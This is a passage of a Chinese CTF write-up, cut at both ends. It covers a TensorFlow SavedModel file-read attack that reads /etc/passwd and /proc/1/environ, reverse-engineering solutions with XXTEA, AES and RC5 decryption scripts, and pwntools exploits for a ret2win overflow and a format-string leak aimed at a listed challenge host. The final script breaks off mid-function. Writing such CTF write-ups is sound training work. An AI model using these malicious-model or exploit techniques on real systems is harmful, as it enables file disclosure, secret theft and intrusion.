    • H: #.#, ##, #.#, #.#
    • U: #.#, #.#, #.#, ##
    • R: ##, #.#, #., #.#
    • T: ##, .#., .#., .#.
  7. }

组合起来得到 Flag。

Modelscope#

1.页面功能

  1. 允许用户上传一个 .zip 文件。
  2. 后端会解压这个 zip 包。
  3. 使用 TensorFlow 的 tf.saved_model.load 加载模型。
  4. 调用签名为 serve 的函数,传入一个测试张量 tf.constant([[1.0]])
  5. 打印并返回推理结果。

核心代码逻辑推测如下:

import tensorflow as tf
# ... 解压 zip 到 tmpdir ...
loaded_model = tf.saved_model.load(tmpdir)
signature = loaded_model.signatures['serve']
result = signature(tf.constant([[1.0]], dtype=tf.float32))
print(result['prediction'].numpy())

漏洞原理

TensorFlow 的计算图(Graph)功能非常强大,它不仅包含数学运算,还包含了文件 I/O 操作(如 tf.io.read_file)。 当攻击者构造一个恶意的 SavedModel,在计算图中定义了读取文件的操作,并将其作为模型的输出返回时,服务端在执行模型推理的过程中,就会真正地去执行这个文件读取操作,并将文件内容作为结果返回给攻击者。

这导致了 任意文件读取漏洞 (Arbitrary File Read)

4. 解题步骤

4.1 环境准备与漏洞验证

首先,我们需要在本地编写 Python 脚本来生成一个恶意的 TensorFlow 模型。

目标: 读取 /etc/passwd 验证漏洞。

import tensorflow as tf
class MyModel(tf.Module):
def __init__(self):
super(MyModel, self).__init__()
self.v = tf.Variable(1.0)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def __call__(self, x):
# 构造恶意操作:读取 /etc/passwd
content = tf.io.read_file("/etc/passwd")
# 将文件内容 reshape 后返回
return {'prediction': tf.reshape(content, [1])}
model = MyModel()
# 保存模型,指定签名为 serve
tf.saved_model.save(model, "saved_model", signatures={'serve': model.__call__})

操作:

  1. 运行脚本生成 saved_model 文件夹。
  2. 将文件夹打包为 model.zip
  3. 上传到题目网站。

结果: 页面成功回显了 /etc/passwd 的内容,漏洞验证成功。

4.2 信息收集

尝试直接读取 /flag 失败,返回 “No such file or directory”。 我们需要探测目标环境的文件结构。利用 tf.io.matching_files 可以列出文件。

Payload 修改:

content = tf.io.matching_files("/app/*")

结果:

/app/app.py
/app/start.sh
/app/templates
/app/uploads

4.3 深入分析

发现关键文件 start.sh,读取它以了解 Flag 的处理逻辑。

Payload 修改:

content = tf.io.read_file("/app/start.sh")

start.sh 内容分析:

#!/bin/bash
FLAG_PATH=/flag
FLAG_MODE=M_ECHO
if [ ${ICQ_FLAG} ];then
# ...
echo -n ${ICQ_FLAG} > ${FLAG_PATH}
# ...
echo [+] ICQ_FLAG OK
unset ICQ_FLAG # <--- 关键:Flag 环境变量在此处被删除
else
echo [!] no ICQ_FLAG
fi
python app.py &
exec tail -f /dev/null

分析结论:

  1. Flag 最初是由环境变量 ICQ_FLAG 注入的。
  2. 脚本将其写入 /flag 后,执行了 unset ICQ_FLAG
  3. 既然直接读取 /flag 失败(可能是权限问题或文件系统问题),我们可以尝试找回这个环境变量。

4.4 终极利用

在 Linux (特别是 Docker 容器) 中,进程的初始环境变量存储在 /proc/[pid]/environ 文件中。

  • start.sh 虽然 unset 了环境变量,但这只影响当前 shell 及其子进程的 当前 环境。
  • PID 1 进程(通常是容器的入口点)的 /proc/1/environ 文件保留了容器启动时的原始环境变量,不受后续脚本 unset 的影响。

Payload 修改:

content = tf.io.read_file("/proc/1/environ")

完整 EXP:

import tensorflow as tf
import os
class MyModel(tf.Module):
def __init__(self):
super(MyModel, self).__init__()
self.v = tf.Variable(1.0)
@tf.function(input_signature=[tf.TensorSpec(shape=[None, 1], dtype=tf.float32)])
def __call__(self, x):
content = tf.io.read_file("/proc/1/environ")
return {'prediction': tf.reshape(content, [1])}
model = MyModel()
tf.saved_model.save(model, "saved_model", signatures={'serve': model.__call__})

REVERSE#

Sign#

1. 题目概览与初步分析

拿到题目文件 sign.apk 后,首先进行解包分析。APK 本质上是一个 ZIP 压缩包,我们可以直接解压。

Terminal window
unzip sign.apk -d unzipped

在解压后的目录中,我们重点关注以下两个文件:

  1. assets/qwqer:一个未知格式的二进制文件,内容看起来是乱码,极有可能被加密了。
  2. lib/arm64-v8a/libmyapplication.so:ARM64 架构的原生库文件,通常包含核心逻辑。

2. 第一层解密:AES

2.1 分析 libmyapplication.so

使用 IDA Pro 工具对 libmyapplication.so 进行静态分析。我们发现了一些有趣的字符串:

  • qwqer:对应 assets 目录下的文件名。
  • p0l1st:看起来像是一个密码或密钥。
  • AES S-Box 相关常量:在文件中发现了 AES 加密的 S-Box 表,这强烈暗示了使用了 AES 加密算法。

2.2 尝试解密 qwqer

基于上述线索,我们猜测 assets/qwqer 文件是被 libmyapplication.so 加载并解密的。最可能的加密算法是 AES,密钥可能是 p0l1st

由于 AES-128 的密钥长度必须是 16 字节,而 p0l1st 只有 6 字节,通常的做法是用 \0 (null byte) 填充至 16 字节。

我们编写脚本尝试解密:

  • 算法:AES
  • 模式:ECB (CTF 题目中常见,最简单的模式)
  • 密钥p0l1st\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
  • 输入assets/qwqer 文件内容

解密成功!解密后的文件头标识为 ELF,说明这是一个 ELF 格式的共享库文件(.so)。

3. 第二层逆向:ELF 静态分析

我们将解密得到的 ELF 文件(命名为 decrypted_qwqer_aes)拖入 IDA 或使用 objdump 进行分析。

3.1 定位关键函数

在符号表中,我们找到了一个 JNI 函数:Java_com_qwq_ezapp_MainActivity_checkFlag。这是 Android 应用中典型的 Native 方法命名方式,说明它是用于检查 Flag 的核心函数。

3.2 分析 checkFlag 逻辑

通过反汇编代码,我们还原了 checkFlag 的主要逻辑:

  1. 目标数据解析: 函数中硬编码了一个长字符串: 1e86224f5efdbcb38252e24fffb382c90da769060f6eb7d5e77d3b9403cd5b28957bfd2270b963964f6fe2fe

    代码使用 sscanf 函数配合 %8x 格式化字符串,循环将这个长字符串解析到一个 uint32 类型的数组中。

    • 注意:sscanf %8x 会将字符串 “1e86224f” 解析为数值 0x1e86224f。在内存中,这相当于大端序(Big-Endian)的数值表示。
  2. 输入加密: 函数接收用户输入的字符串(即我们输入的 Flag),调用了一个名为 encrypt_string 的内部函数对其进行处理。

  3. 比较验证: 将 encrypt_string 的处理结果与上述解析出来的目标整数数组进行逐字节比较。如果完全一致,则 Flag 正确。

4. 算法分析与密钥提取

4.1 识别加密算法

进入 encrypt_string 函数分析,发现它调用了 xxtea_encrypt。 查看 xxtea_encrypt 的实现,发现了特征常数 0x9e3779b9 (Delta)。这是 XXTEA (Corrected Block TEA) 算法的标志性常数。

4.2 提取密钥

XXTEA 算法需要一个 128 位(16 字节)的密钥。 在 ELF 文件的 .rodata (只读数据段) 中,紧邻长十六进制字符串之前(偏移量 0x790),我们发现了一组 16 字节的数据:

cd ab 6b a5 f1 34 12 1f 78 56 34 12 98 ba dc fe

这正是 XXTEA 算法使用的密钥。

5. 编写解密脚本

为了获取 Flag,我们需要对目标数据进行逆向解密。 即:使用提取的密钥,对硬编码的十六进制数据进行 XXTEA 解密。

关键难点:端序 (Endianness) 这道题的难点在于正确处理数据的端序:

  1. 密文数据:源自 sscanf 解析的十六进制串。例如 “1e86224f” -> 0x1e86224f。这相当于大端序解析。因此解包密文时需用 >I (Big-Endian unsigned int)。
  2. 密钥数据:源自内存直接加载。ARM64 架构是小端序。内存中的字节 cd ab 6b a5 实际上代表整数 0xa56babcd。因此解包密钥时需用 <I (Little-Endian unsigned int)。
  3. 输出数据:解密后的明文是 ASCII 字符串。为了还原字符串顺序,需要将解密出的整数按小端序打包回字节流,即 <I

exp:

import struct
def xxtea_decrypt(data_bytes, key_bytes):
# 1. 解析密文数据:模拟 sscanf %8x 的行为,使用大端序 (>I)
v = list(struct.unpack(f'>{len(data_bytes)//4}I', data_bytes))
# 2. 解析密钥数据:模拟内存加载,使用小端序 (<I)
k = list(struct.unpack('<4I', key_bytes[:16]))
n = len(v)
z = v[n-1]
y = v[0]
delta = 0x9e3779b9
q = 6 + 52 // n
sum = (q * delta) & 0xffffffff
# XXTEA 解密核心循环
while sum != 0:
e = (sum >> 2) & 3
for p in range(n-1, -1, -1):
z = v[p-1]
y = v[p] = (v[p] - (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (k[(p&3)^e]^z)))) & 0xffffffff
sum = (sum - delta) & 0xffffffff
# 3. 打包明文数据:还原为字符串,使用小端序 (<I)
return b''.join(struct.pack('<I', x) for x in v)
# 题目数据
hex_str = "1e86224f5efdbcb38252e24fffb382c90da769060f6eb7d5e77d3b9403cd5b28957bfd2270b963964f6fe2fe"
key_bytes = bytes.fromhex("cdab6ba5f134121f7856341298badcfe")
# 执行解密
flag = xxtea_decrypt(bytes.fromhex(hex_str), key_bytes)
# 打印结果 (去除末尾填充的 null 字节)
print(f"Flag: {flag.decode('utf-8', errors='ignore').strip(chr(0))}")

Ezvm#

  1. 静态分析与定位核心逻辑 :

    • 通过 IDA 分析,定位到 main 函数调用了 sub_140005AA5 。
    • sub_140005AA5 包含主要的控制流逻辑,它初始化了一个自定义的 虚拟机 (VM) 。
    • 输入字符串被硬编码的密钥 “reverse1s3asy” 和用户输入共同作为 VM 的数据源。
  2. VM 架构分析 :

    • 分发器 (Dispatcher) : sub_140005AA5 中的 while 循环和 switch 语句负责执行 VM 指令。
    • 指令处理 (Handler) : sub_140001AFC 是核心的指令执行函数,支持约 21 种操作码(Opcode 0-20),包括寄存器运算、内存读写和跳转。
    • 字节码 (Bytecode) : sub_140001ECF 负责构建 VM 指令序列。
  3. 算法识别 :

    • 在分析 sub_140001ECF 生成的指令序列时,发现了特征常数 0x9E3779B9 。
    • 结合移位、异或和加法操作,确认该 VM 实现的是 XXTEA 加密算法 。
    • VM 将用户输入作为数据, “reverse1s3asy” 作为密钥进行加密。
  4. 数据提取 :

    • 密钥 (Key) : reverse1s3asy (硬编码在程序中)。
    • 密文 (Target) :在 ezvm.exe 中提取了用于校验的 24 字节加密数据: 0x792B1077BA1A9983 , 0x68F0470C3D5B128C , 0x20633CE256DD5F08 。
  5. 解密 :

    • 编写了 Python 脚本 decrypt.py ,使用标准的 XXTEA 解密算法,用提取的密钥解密目标密文,直接还原出了 Flag。

exp

你可以在当前目录下找到生成的解密脚本 /Users/sinqwq/Downloads/file/decrypt.py ,其核心逻辑如下:

import struct
def xxtea_decrypt(data, key, padding=False):
if isinstance(data, str):
data = data.encode()
if isinstance(key, str):
key = key.encode()
# Pad key to 16 bytes
if len(key) < 16:
key = key.ljust(16, b'\0')
# Convert data to uint32 array
v = list(struct.unpack('<%dI' % (len(data) // 4), data))
k = list(struct.unpack('<4I', key[:16]))
n = len(v)
delta = 0x9E3779B9
q = 6 + 52 // n
sum = (q * delta) & 0xFFFFFFFF
y = v[0]
while sum != 0:
e = (sum >> 2) & 3
for p in range(n - 1, 0, -1):
z = v[p - 1]
v[p] = (v[p] - (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (k[(p & 3) ^ e] ^ z)))) & 0xFFFFFFFF
y = v[p]
p = 0
z = v[n - 1]
v[0] = (v[0] - (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (k[(p & 3) ^ e] ^ z)))) & 0xFFFFFFFF
y = v[0]
sum = (sum - delta) & 0xFFFFFFFF
return b''.join(struct.pack('<I', x) for x in v)
# Target
target_hex = [
0x792B1077BA1A9983,
0x68F0470C3D5B128C,
0x20633CE256DD5F08
]
target_bytes = b''
for q in target_hex:
target_bytes += struct.pack('<Q', q)
# Key
key = b"reverse1s3asy"
decrypted = xxtea_decrypt(target_bytes, key)
print(f"Decrypted: {decrypted}")
print(f"Hex: {decrypted.hex()}")
try:
print(f"ASCII: {decrypted.decode()}")
except:
pass

Strange encryption algorithm#

2.Java 层分析

2.1 入口点 MainActivity

通过分析 MainActivity.java,我们梳理出 Flag 的校验流程:

  1. 输入格式: Flag 必须以 flag{ 开头,以 } 结尾。
  2. 长度检查: 花括号内的内容长度必须为 32 字符。
  3. 分割: 内容被分为两部分,每部分 16 字符:
    • s1: 前 16 字符。
    • s2: 后 16 字符。
  4. 加密流程:
    • s1 经过 Enc.Encrypt(s1) 加密,得到 cipherHex1
    • s2 经过 Enc0.testNative(s2) 加密,得到 cipherHex2
    • 拼接两者:cypher = cipherHex1 + cipherHex2
    • 整体经过 b.mYstery(Enc.key, Enc.IV, cyphered) 进行二次加密。
  5. 校验: 最终结果与 Check.java 中的硬编码哈希比对。

2.2 密钥生成 (Enc.java)

Enc.java 中定义了两个静态字节数组,由长整型数字转换而来:

public static final byte[] key = buildIvFromNumber(5125268388433391L);
public static final byte[] IV = buildIvFromNumber(-6066929684898893296L);

注意在 Enc.Encrypt (AES) 中,这两个变量的使用是反转的:

  • AES Key: 使用了 Enc.IV
  • AES IV: 使用了 Enc.key

3.Native 层分析

3.1 libwhy.so (RC5 算法)

分析 libwhy.so,关注 b.mYstery 方法。

  • JNI 注册: JNI_OnLoad 注册了 com/example/test/b 类的 mYstery 方法。
  • 算法识别:
    • 反编译核心函数 sub_16550 -> sub_17100
    • 发现特征常数 0xB7E15163 (P) 和 0x9E3779B9 (Q)。
    • 这是典型的 RC5 加密算法。
    • 块大小:64 位 (两个 32 位字)。
    • 轮数:12 轮。
    • 模式:CBC (Cipher Block Chaining)。

3.2 libtest.so (AES/SPN 算法)

分析 libtest.so,关注 Enc0.testNative 方法。

  • JNI 注册: JNI_OnLoad 注册了 Enc0.eNcrpty
  • 密钥提取:
    • 函数 sub_14D60 调用了加密逻辑。
    • 深入分析发现存在 S-box 查找表 (byte_60710)。
    • 通过分析 S-box 的内存引用和异或逻辑,我们编写脚本 extract_key.py 从二进制文件中提取出了硬编码的密钥。
    • 提取到的密钥为:You're really nb
    • 算法确认为 AES-ECB (或极其相似的 SPN 结构)。

4. 解密过程与代码

我们编写了两个脚本:

  1. extract_key.py: 用于从 libtest.so 中提取 AES 密钥。
  2. solve.py: 逆向执行加密流程,解密 Flag。

4.1 提取密钥 (extract_key.py)

该脚本利用已知 S-box 和文件中的查找表数据,通过异或操作还原出第 10 轮密钥,并逆推回主密钥。

import struct
# Rijndael S-box
sbox = [
0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76,
0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0,
0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,
0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75,
0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84,
0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,
0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8,
0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2,
0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,
0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb,
0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79,
0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,
0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a,
0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e,
0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,
0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16
]
# Rcon
Rcon = [
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36
]
def extract_key():
offset = 0x5d710
key_round_10 = []
try:
with open('jadx_out/resources/lib/x86_64/libtest.so', 'rb') as f:
f.seek(offset)
data = f.read(4096)
if len(data) < 4096:
print("Error: Could not read enough data")
return
# Check if our assumption is correct: LookUp[k][x] = SBox[x] ^ Key[k]
# We can check a few values to see if they are consistent.
# Key[k] should be constant for all x.
# Key[k] = LookUp[k][x] ^ SBox[x]
for k in range(16):
candidates = []
for x in range(16): # Check first 16 values
val = data[256 * k + x]
candidate_key = val ^ sbox[x]
candidates.append(candidate_key)
if all(c == candidates[0] for c in candidates):
key_round_10.append(candidates[0])
else:
print(f"Mismatch found for byte {k}")
print(candidates)
return
print("Extracted 10th Round Key:")
print("Hex:", " ".join(f"{b:02x}" for b in key_round_10))
# Reverse Key Schedule (AES-128)
# 10 rounds. Key size 16 bytes.
current_key = key_round_10[:]
for i in range(10, 0, -1):
prev_key = [0] * 16
# w[i] = w[i-1] ^ w[i-4]
# w[i-4] = w[i] ^ w[i-1]
# Here key is 4 words: w[4i], w[4i+1], w[4i+2], w[4i+3]
# w[3] = current_key[12:16]
# w[2] = current_key[8:12]
# w[1] = current_key[4:8]
# w[0] = current_key[0:4]
w3 = current_key[12:16]
w2 = current_key[8:12]
w1 = current_key[4:8]
w0 = current_key[0:4]
# Reversing:
# w[4i+3] = w[4i+2] ^ w[4(i-1)+3] => w[4(i-1)+3] = w[4i+3] ^ w[4i+2]
# w[4i+2] = w[4i+1] ^ w[4(i-1)+2] => w[4(i-1)+2] = w[4i+2] ^ w[4i+1]
# w[4i+1] = w[4i] ^ w[4(i-1)+1] => w[4(i-1)+1] = w[4i+1] ^ w[4i]
# w[4i] = w[4(i-1)] ^ RotWord(SubWord(w[4(i-1)+3])) ^ Rcon[i]
# => w[4(i-1)] = w[4i] ^ RotWord(SubWord(w[4(i-1)+3])) ^ Rcon[i]
# Let's call previous round words pw0, pw1, pw2, pw3
# pw3 = w3 ^ w2
# pw2 = w2 ^ w1
# pw1 = w1 ^ w0
pw3 = [w3[j] ^ w2[j] for j in range(4)]
pw2 = [w2[j] ^ w1[j] for j in range(4)]
pw1 = [w1[j] ^ w0[j] for j in range(4)]
# Calculate RotWord(SubWord(pw3))
# RotWord([a,b,c,d]) = [b,c,d,a]
rot_pw3 = pw3[1:] + pw3[:1]
sub_rot_pw3 = [sbox[b] for b in rot_pw3]
# pw0 = w0 ^ sub_rot_pw3 ^ Rcon[i]
pw0 = [0]*4
pw0[0] = w0[0] ^ sub_rot_pw3[0] ^ Rcon[i]
pw0[1] = w0[1] ^ sub_rot_pw3[1]
pw0[2] = w0[2] ^ sub_rot_pw3[2]
pw0[3] = w0[3] ^ sub_rot_pw3[3]
current_key = pw0 + pw1 + pw2 + pw3
print(f"Extracted Master Key (Round 0):")
print("Hex:", " ".join(f"{b:02x}" for b in current_key))
print("Bytes:", bytes(current_key))
except Exception as e:
print(f"Error: {e}")
if __name__ == '__main__':
extract_key()

4.2 综合解密 (solve.py)

该脚本实现了 RC5-CBC 和 AES-CBC/ECB 的解密逻辑。

import struct
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
# Constants
TARGET_HEX = "7a626613d1a3b13a5c6ff2c4a27d272390237d1497afd81df1e168ea5fd84a395f999ebad349517553d3d33c24bb707c015808cd16f9b3cdd25ccd064fe9167389e9e4384ddcc54f"
KEY_VAL = 5125268388433391
IV_VAL = -6066929684898893296
def build_iv_from_number(value):
iv = bytearray(16)
val_64 = value & 0xFFFFFFFFFFFFFFFF
for i in range(8):
byte_val = (val_64 >> (i * 8)) & 0xFF
iv[15 - i] = byte_val
return bytes(iv)
def ROL(x, y):
return ((x << y) & 0xFFFFFFFF) | (x >> (32 - y))
def ROR(x, y):
return ((x >> y) & 0xFFFFFFFF) | (x << (32 - y))
class RC5:
def __init__(self, key):
self.rounds = 12
self.w = 32 # word size
self.b = len(key)
self.P = 0xB7E15163
self.Q = 0x9E3779B9
# Key Expansion
u = self.w // 8
c = (self.b + u - 1) // u
L = [0] * c
for i in range(self.b - 1, -1, -1):
L[i // u] = (L[i // u] << 8) + key[i]
self.S = [0] * (2 * self.rounds + 2)
self.S[0] = self.P
for i in range(1, len(self.S)):
self.S[i] = (self.S[i-1] + self.Q) & 0xFFFFFFFF
i = j = 0
A = B = 0
t = 3 * max(len(self.S), c)
for k in range(t):
A = self.S[i] = ROL((self.S[i] + A + B) & 0xFFFFFFFF, 3)
B = L[j] = ROL((L[j] + A + B) & 0xFFFFFFFF, (A + B) % 32)
i = (i + 1) % len(self.S)
j = (j + 1) % c
def decrypt_block(self, data):
A = struct.unpack('<I', data[0:4])[0]
B = struct.unpack('<I', data[4:8])[0]
for i in range(self.rounds, 0, -1):
B = ROR((B - self.S[2 * i + 1]) & 0xFFFFFFFF, A % 32) ^ A
A = ROR((A - self.S[2 * i]) & 0xFFFFFFFF, B % 32) ^ B
B = (B - self.S[1]) & 0xFFFFFFFF
A = (A - self.S[0]) & 0xFFFFFFFF
return struct.pack('<I', A) + struct.pack('<I', B)
def unpad_cc(data):
# Remove trailing 0xCC bytes
while len(data) > 0 and data[-1] == 0xCC: # -52 is 0xCC
data = data[:-1]
return data
def solve():
# 1. Prepare Keys and IVs
enc_key = build_iv_from_number(KEY_VAL) # Used as RC5 Key
enc_iv = build_iv_from_number(IV_VAL) # Used as RC5 IV source
rc5_key = enc_key
rc5_iv = enc_iv[8:16] # Last 8 bytes
print(f"RC5 Key: {rc5_key.hex()}")
print(f"RC5 IV: {rc5_iv.hex()}")
# 2. RC5 Decrypt
cipher_bytes = bytes.fromhex(TARGET_HEX)
rc5 = RC5(rc5_key)
plain_bytes = bytearray()
current_iv = rc5_iv
for i in range(0, len(cipher_bytes), 8):
block = cipher_bytes[i:i+8]
decrypted_block = rc5.decrypt_block(block)
# CBC XOR
plaintext_block = bytes(a ^ b for a, b in zip(decrypted_block, current_iv))
plain_bytes.extend(plaintext_block)
current_iv = block
cypher_str = plain_bytes.decode('utf-8', errors='ignore')
print(f"Decrypted RC5 (len={len(plain_bytes)}): {plain_bytes.hex()}")
print(f"Decrypted String (len={len(cypher_str)}): {cypher_str}")
# 3. Split parts
# cypher = cipherHex1 + cipherHex2
# cipherHex1 is 32 chars.
cipher_hex1 = cypher_str[:32]
cipher_hex2 = cypher_str[32:64] # Limit to 32 chars for second part
print(f"Hex1 ({len(cipher_hex1)}): {cipher_hex1}")
print(f"Hex2 ({len(cipher_hex2)}): {cipher_hex2}")
# 4. Decrypt Part 1 (AES-CBC)
# Enc.Encrypt uses:
# Key: Enc.IV (enc_iv)
# IV: Enc.key (enc_key)
aes_key1 = enc_iv
aes_iv1 = enc_key
cipher_bytes1 = bytes.fromhex(cipher_hex1)
cipher1 = AES.new(aes_key1, AES.MODE_CBC, aes_iv1)
plain_bytes1 = cipher1.decrypt(cipher_bytes1)
# Unpad (custom 0xCC)
s1_bytes = unpad_cc(plain_bytes1)
s1 = s1_bytes.decode('utf-8')
print(f"Part 1: {s1}")
# 5. Decrypt Part 2 (AES-ECB/SPN)
# Key extracted from libtest.so
libtest_key = b"You're really nb"
cipher_bytes2 = bytes.fromhex(cipher_hex2)
cipher2 = AES.new(libtest_key, AES.MODE_ECB)
plain_bytes2 = cipher2.decrypt(cipher_bytes2)
# Unpad? libtest.so sub_14D60 checks % 16. Doesn't seem to pad/unpad.
# But s2 is part of flag. Likely padded or just null terminated?
# Or maybe it's just 16 bytes.
s2_bytes = plain_bytes2
try:
s2 = s2_bytes.decode('utf-8')
except:
s2 = s2_bytes.hex() # Fallback
print(f"Part 2: {s2}")
# Combine
flag = f"flag{{{s1}{s2}}}"
print(f"Flag: {flag}")
if __name__ == "__main__":
solve()

PWN#

PWN1#

1. 题目分析

首先使用 filechecksec 检查题目二进制文件的基本信息和保护机制。

Terminal window
$ file pwn
pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, not stripped
$ checksec --file=pwn
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing (通常开启)
PIE: No PIE (0x400000)

关键点:

  • 64位 ELF 程序
  • No Canary: 栈溢出保护未开启,这使得我们可以轻松覆盖栈上的返回地址。
  • No PIE: 代码段地址固定,基址为 0x400000,利用 ROP 或跳转到固定函数非常方便。

通过反汇编 mainvulnerable_function 函数:

  1. main 函数调用了 vulnerable_function
  2. vulnerable_function (0x401200) 中定义了一个 0x40 (64字节) 的缓冲区。
  3. 程序使用了 gets() 函数读取用户输入。
    • gets() 不检查输入长度,导致严重的 栈溢出 (Stack Buffer Overflow) 漏洞。

通过 objdump 或 IDA 查看,发现了一个后门函数 win (0x4011dd):

00000000004011dd <win>:
...
call puts("Congratulations! You got the flag!")
call system("echo $FLAG")
...

这个函数直接输出环境变量中的 FLAG。因此,最简单的利用思路是 Ret2Win:通过栈溢出覆盖返回地址,将其修改为 win 函数的地址。

计算偏移量

栈结构通常如下:

[ Buffer (64 bytes) ]
[ Saved RBP (8 bytes) ]
[ Return Address (8 bytes) ] <--- 目标

因此,我们需要填充的数据长度为 64 + 8 = 72 字节。第 73-80 字节将覆盖返回地址。

构造 Payload

  • Padding: 72 个 ‘A’。
  • Ret Address: win 函数的地址 0x4011dd

注意: 在某些 64 位系统中,调用 system 等函数时需要栈对齐 (16字节对齐)。如果直接跳转失败,可以在 win 地址前加一个 ret 指令 (0x40101a) 的地址作为填充(ROP Gadget)。

Exp:

from pwn import *
# 配置
exe = './pwn'
elf = ELF(exe)
context.binary = exe
context.log_level = 'debug'
# 远程连接参数 (请根据实际情况修改)
ip = '150.138.81.18'
port = 11402
def exploit():
# 连接远程或本地进程
if args.REMOTE:
io = remote(ip, port)
else:
io = process(exe)
# 1. 确定偏移量
# buffer (0x40) + rbp (0x8) = 72
offset = 72
# 2. 获取 win 函数地址
win_addr = elf.symbols['win'] # 或者 0x4011dd
log.info(f"Win Address: {hex(win_addr)}")
# 3. 构造 Payload
# padding + win_addr
payload = b'A' * offset + p64(win_addr)
# 4. 发送 Payload
io.recvuntil(b'Enter your input: \n')
io.sendline(payload)
# 5. 获取交互 (或直接读取输出)
io.interactive()
if __name__ == '__main__':
exploit()

PWN3#

1. 题目信息

  • 题目名称: PWN3 (pwn_challenge)
  • 文件架构: Linux x86-64 ELF
  • 保护机制:
    • No PIE (地址固定)
    • No Canary (无栈溢出保护哨兵)
    • NX Enabled (栈不可执行)

2. 逆向分析

使用 objdumpfile 工具对二进制文件进行静态分析。

主要函数逻辑

  1. read_flag (0x401276):

    • 该函数从环境变量中读取 Flag,或者如果环境变量不存在,则可能读取本地文件(虽然本题环境中主要是从环境/堆中获取)。
    • Flag 被读取后存储在堆(Heap)内存中,函数返回指向 Flag 字符串的指针。
  2. main (0x40135d):

    • 程序首先调用 read_flag 函数。
    • 返回的 Flag 指针被存储在栈上 [rbp - 0x8] 的位置。
    • 程序提示 “Enter your name:”。
    • 使用 fgets 读取用户输入到栈缓冲区 [rbp - 0x70],最大读取 100 字节。
    • 漏洞点: 调用 printf(buffer) 直接打印用户输入的内容,未包含格式化字符串参数,导致格式化字符串漏洞 (Format String Vulnerability)

3. 漏洞利用

由于我们可以控制 printf 的格式化字符串参数,我们可以利用它来读取栈上的任意数据。

偏移量计算

我们需要读取的是 Flag,而 Flag 的地址指针存储在栈上。

  1. Flag 指针位置: [rbp - 0x8]
  2. 输入缓冲区位置: [rbp - 0x70] (即格式化字符串本身的位置)
  3. 距离计算:
    • 两者在栈上的距离为 0x70 - 0x8 = 0x68 = 104 字节。
    • 栈单元大小为 8 字节,所以相差 104 / 8 = 13 个参数位置。
  4. 参数定位:
    • 经过调试或计算,输入缓冲区对应 printf 的第 8 个参数(%8$p 会打印出缓冲区的开头)。
    • 因此,Flag 指针所在的参数位置为 8 + 13 = 21
    • 目标参数为第 21 个参数。

我们需要让 printf 将第 21 个参数视为字符串指针,并打印其指向的内容。

  • Payload: %21$s

exp

from pwn import *
# 配置上下文
binary_path = './pwn_challenge'
# context.binary = elf = ELF(binary_path) # 如果有本地文件可启用
context.log_level = 'info'
context.arch = 'amd64'
context.os = 'linux'
# 远程题目地址
HOST = '150.138.81.18'
PORT = 10640
def exploit():
# 连接远程靶机
io = remote(HOST, PORT)
# 漏洞分析:
# 1. Flag 指针存储在栈上 [rbp - 0x8]
# 2. 输入缓冲区位于 [rbp - 0x70]
# 3. 两者相差 104 字节 (13 个 8字节字)
# 4. 缓冲区起始于 printf 的第 8 个参数位置
# 5. Flag 指针位于 8 + 13 = 21 参数位置
